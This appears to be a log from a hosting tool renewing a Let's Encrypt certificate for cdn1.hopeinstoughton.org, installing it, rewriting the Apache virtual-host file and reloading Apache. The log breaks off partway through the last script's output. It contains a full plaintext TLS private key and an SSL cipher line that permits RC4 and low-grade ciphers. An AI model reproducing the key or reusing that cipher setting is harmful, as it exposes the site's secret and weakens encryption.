MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 16:50:33: Establishing a connection
2026-01-03 16:50:33: Establishing a connection
2026-01-03 16:50:33: 

PUT: /tmp/pkp149203

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn1/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-03 16:50:33: 

chmod 755 /tmp/pkp149203; /tmp/pkp149203; rm /tmp/pkp149203

2026-01-03 16:50:33: 


1


2026-01-03 16:50:34: Establishing a connection
2026-01-03 16:50:35: 

PUT: /tmp/pkp311462

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cat > 2wFxYUdKrbZ8mIk0FrkhNumT7LgxIFVZB0U8MbLb7M8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
2wFxYUdKrbZ8mIk0FrkhNumT7LgxIFVZB0U8MbLb7M8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 2wFxYUdKrbZ8mIk0FrkhNumT7LgxIFVZB0U8MbLb7M8


2026-01-03 16:50:35: 

chmod 755 /tmp/pkp311462; /tmp/pkp311462; rm /tmp/pkp311462

2026-01-03 16:50:35: 




2026-01-03 16:50:43: Establishing a connection
2026-01-03 16:50:43: 

PUT: /tmp/pkp998038

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
rm 2wFxYUdKrbZ8mIk0FrkhNumT7LgxIFVZB0U8MbLb7M8


2026-01-03 16:50:43: 

chmod 755 /tmp/pkp998038; /tmp/pkp998038; rm /tmp/pkp998038

2026-01-03 16:50:43: 




2026-01-03 16:50:43: Establishing a connection
2026-01-03 16:50:43: 

PUT: /tmp/pkp834091

#!/bin/bash
temp_file=$(mktemp)
TARGET=0660cc0c014b1256b25525c3494eafa0.crt

cat > $temp_file <<'endmsg'
dc:ac:d7:8c:ac:9c:f3:bb:7a:75:27:9d:db:f3:c3:40

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBlGWBYIS1KxHuvMjPwsSNyo+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTAzMTU1MjA4WhcNMjYwNDAzMTU1MjA3WjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCqPBo3D8f5PmysdoqanVttK3Yfzl53GZhvtt6ix4prJOyHJCqO
BK+kXKYvIsV134e0uhNItRlJxMNPXXpQ+lCxTqVaMcXGIe9L5hSlgN12WgLBiA5E
h6icSkdAj+ATlwdFp2H7yb0qlPOzvnt5oE16p4FACeWjr+PDWh+A0nRPp0ZaZcsR
IZx+ei2k5INbBo+hnbqwnzDFUBuJ4ilxUJrKmA8HrFYd1uTh+biUHP1GDEtqNFeE
poow5YowvfIZ2DwPg0d/rNOJNAXhbX5fmGV6P/gr/XlmUpw0mUiJE9a6WS8D+rpS
qZvzruoJybznALyXZdMdJALhCmggOS4rL+9ZAgMBAAGjggIvMIICKzAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFAldEIysE9r2CTAjcEMsEXYtrK3XMB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNjMuY3JsMIIBCwYKKwYBBAHW
eQIEAgSB/ASB+QD3AH0A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjEtugA
AAGbhMSlOwAIAAAFAC4rCkEEAwBGMEQCIEH+nb0wbOrqcwA/rQbmUzKc5Xupt4WF
6MP1xZpUK1qtAiB3Tp4br0O7GMFC69EISfPkkoSMeG3+uPElzktojCEwlgB2ANFu
qaVoB35mNaA/N6XdvAOlPEESFNSIGPXpMbMjy5UEAAABm4TEtLYAAAQDAEcwRQIh
AKt5WmMJubpRM5+8CQBpE9AjZ9fvi04RNyDdPSe/TYCMAiAdslu8mz9BgQpT7gGY
BKBgPnWi1oZv+HF9bggFbE7EmjANBgkqhkiG9w0BAQsFAAOCAQEALukizu7r7M9n
2kqQ5eHMnVJOoBvVMGWK2XW6Kj+q9f7Chw7wbr0CKuX2FmEnfISnlUR74tMlqVu6
fU2MmM8f8n7CZkLYCIjjY6kmCLX1rSOAjJy4DwE3APyiia+iEodQ910nBudCYs9i
nYJ20hNl+1SiBEbzOFLJcIe90dTQYZv04azyyOLCQgRqKYxue/rH/hzdGGosf5sl
SG+zvVmeJ1ml5O4qsPYrsKXKvlmek9CIj+zSUKl2AMr3Jv2ZJvEmiJPIOn4Sk0TK
j8ypKgpMADNrtkS28/+o1AoW2Cn/zOmUAxwJgyQce+/EMXmPXsy3VqHKETlNSbkp
VhI+50CfCg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCqPBo3D8f5Pmys
doqanVttK3Yfzl53GZhvtt6ix4prJOyHJCqOBK+kXKYvIsV134e0uhNItRlJxMNP
XXpQ+lCxTqVaMcXGIe9L5hSlgN12WgLBiA5Eh6icSkdAj+ATlwdFp2H7yb0qlPOz
vnt5oE16p4FACeWjr+PDWh+A0nRPp0ZaZcsRIZx+ei2k5INbBo+hnbqwnzDFUBuJ
4ilxUJrKmA8HrFYd1uTh+biUHP1GDEtqNFeEpoow5YowvfIZ2DwPg0d/rNOJNAXh
bX5fmGV6P/gr/XlmUpw0mUiJE9a6WS8D+rpSqZvzruoJybznALyXZdMdJALhCmgg
OS4rL+9ZAgMBAAECggEABXAO4KWM/Exu7BG2SuA4uyjpU0nu27bngbaxmmQC1c9+
YbEOo0OJjm0U3t++tyLugrVIkpORrPj6HychK4SEvtaAXXxGW8Dvk/j+aFdQhlcI
4as0VM07iNCDlvpG4gFP7rznxO30WwTv2uo8UfiETmUa3GjkhbZuMVTdOZV0uIBA
kW/0zqZIz+N61MWLOJUBuruKAt29rt5Y8x7wXQwSZcq/vX9uer2BQ5VDSmAAM60p
xiz89rqFKNbly2TVNk6HPtLqAs9OUnr25xIhdSfUXAXQ44VgCU2X1Qb5hOodB7HK
wKkfE66Mg93yGgERU/8EtWO7IfvkvzQVngdWuPHS/QKBgQDkCTbQBrWMteVtlEaq
MlQ5u8mxX964DnxhKilSGk/14y94pEYS8tGU3g4ByWNbbYJGSdu6agJE+OluJ0mY
kNmXN2GYk+ojrMhYxZR5gtfeJXU9p29bSUZIsZ8GzVDWEo0PHGa/r4NF4JM5Ia81
VK6CH0bmQKVYPuYC45PZQytrjQKBgQC/HFJNW7ZOMMFWkiKP9t3vFdgvTCfUXazf
cPfU5+6abJfMAxOZL9pg859hhRO1WXpXtf6nWYpegjy+J8Qw4K0sW4qOK9oHISmV
ZqSqf0S4Ywb3YEZOnqMpirnI7SPFEtyrqlO9EaRe7jEv4ODMrUtYVDdcGMoxJgzw
JHLGjHV5/QKBgDSrUCayNgKfDLPHmJ686yk+j3JRg16dseq7Uznsa+WOKKvDvY+o
1/F7bF7LRhCa9YkIjCC9VXLazwerOVtssWU03GziVSUSRmACmq2KJBPiMPchkh3S
idJGfEWU7IPVWxFPbQf/IOHl4ftDJXW67meNk9Ggws/kDzpBmCeJVSENAoGAK3hK
tDPnPNPUNlfZKrvxcV+bo+6DpMeF+fEdPj1fRZrr0Ejm3VJILwNbPnhhqj9nF6pa
+T/hvGuNW4d6FdAVM+DCnGIXHsYJSmVlkS6PuA02WXB5rYph/KIEblKab0pCDX4Z
vAjWRY2SfJx/Ja9JUxcc3IL7AsDv8nOn88ehNRUCgYBAoJTSWqV5aNUk33M5eCQY
p7P6PTl0zkikW9CK4o9loxRULQyF33CtHXYrKD9sCiNUpjHo4bJnylNWCpvUeYW4
U/QSF/81v/HDrGH/p9U/jtm9bYSLejIhtg9e6BU7Q6r/BWg8i6mpIrUnO+8pQKVT
hbCdklqqo/QKXFaosW/L7A==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-03 16:50:43: 

chmod 755 /tmp/pkp834091; /tmp/pkp834091; rm /tmp/pkp834091

2026-01-03 16:50:43: 


dir=/etc/ssl/certs


2026-01-03 16:50:43: 

PUT: /tmp/pkp245374

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-03 16:50:43: 

chmod 755 /tmp/pkp245374; /tmp/pkp245374; rm /tmp/pkp245374

2026-01-03 16:50:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf 48

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-01-03 16:50:43: 

PUT: /tmp/pkp937543

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn1_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf= 1'
fi


2026-01-03 16:50:43: 

chmod 755 /tmp/pkp937543; /tmp/pkp937543; rm /tmp/pkp937543

2026-01-03 16:50:43: 




2026-01-03 16:50:43: 

PUT: /tmp/pkp404969

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-03 16:50:43: 

chmod 755 /tmp/pkp404969; /tmp/pkp404969; rm /tmp/pkp404969

2026-01-03 16:50:44: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-03 16:50:44: Establishing a connection
2026-01-03 16:50:44: 

PUT: /tmp/pkp594277

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 16:50:44: 

chmod 755 /tmp/pkp594277; /tmp/pkp594277; rm /tmp/pkp594277

2026-01-03 16:50:44: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-03 16:50:44: 

PUT: /tmp/pkp932955

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 16:50:44: 

chmod 755 /tmp/pkp932955; /tmp/pkp932955; rm /tmp/pkp932955

2026-01-03 16:50:44: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf	1656

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
